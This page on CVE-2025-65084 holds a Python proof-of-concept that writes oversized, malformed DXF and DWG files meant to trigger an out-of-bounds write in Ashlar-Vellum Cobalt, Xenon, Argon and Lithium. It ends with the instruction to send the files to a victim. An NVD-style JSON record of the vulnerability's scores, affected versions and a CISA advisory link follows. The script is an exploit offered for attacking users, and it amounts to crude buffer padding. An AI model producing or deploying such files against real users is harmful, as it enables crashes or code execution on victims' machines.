CVE-2025-65084

# CVE-2025-65084 PoC - Malformed DXF/DWG file triggering OOB Write # Target: Ashlar-Vellum Cobalt/Xenon/Argon/Lithium < 12.6.1204.216 import struct import sys def create_malicious_dxf(): """Generate a malformed DXF file with oversized entities to trigger OOB write""" # DXF file header with malicious entity data malicious_content = b"""0 SECTION 2 ENTITIES 0 LINE 8 0 10 0.0 20 0.0 30 0.0 11 """ # Create oversized coordinate data to trigger buffer overflow # This will cause out-of-bounds write when parsed by vulnerable parser oversized_data = b"A" * 65536 # 64KB of data to overflow buffer malicious_content += oversized_data + b""" 21 0.0 31 0.0 0 ENDSEC 0 EOF """ return malicious_content def create_malicious_dwg(): """Generate a malformed DWG file header to trigger OOB write""" # DWG file signature header = b"AC1027" # DWG R2013 signature # Malformed section handle table with oversized data # This will cause heap overflow during handle table parsing section_data = b"\x00" * 4 # Section size indicator section_data += b"\xFF" * 131072 # Oversized data to trigger OOB return header + section_data def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-65084-poc.py <output_file>") sys.exit(1) output_file = sys.argv[1] # Generate malicious DXF file malicious_dxf = create_malicious_dxf() with open(output_file + ".dxf", "wb") as f: f.write(malicious_dxf) # Generate malicious DWG file malicious_dwg = create_malicious_dwg() with open(output_file + ".dwg", "wb") as f: f.write(malicious_dwg) print(f"[+] Generated malicious files:") print(f" - {output_file}.dxf") print(f" - {output_file}.dwg") print(f"[+] Send these files to victim running Ashlar-Vellum Cobalt < 12.6.1204.216") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-65084", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:54.133", "lastModified": "2026-05-12T21:16:13.117", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Out-of-Bounds Write vulnerability is present in Ashlar-Vellum Cobalt, Xenon, Argon, Lithium, and Cobalt Share versions 12.6.1204.216 and prior that could allow an attacker to disclose information or execute arbitrary code."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:argon:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "D92AC0A5-B0AB-489E-86E7-2E5CD485DC03"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "6E48C33E-33CF-486C-AD1F-86B5F3F89AB1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt_share:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "44BA8C61-7C12-4125-A0B2-9E45ACBCECC4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:lithium:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "42E49969-7EE4-48D5-9C50-7A8AE94B6AA8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:xenon:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "7AA0D761-749B-4FC4-A7D0-C23D8EBA2D90"}]}]}], "references": [{"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-01", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}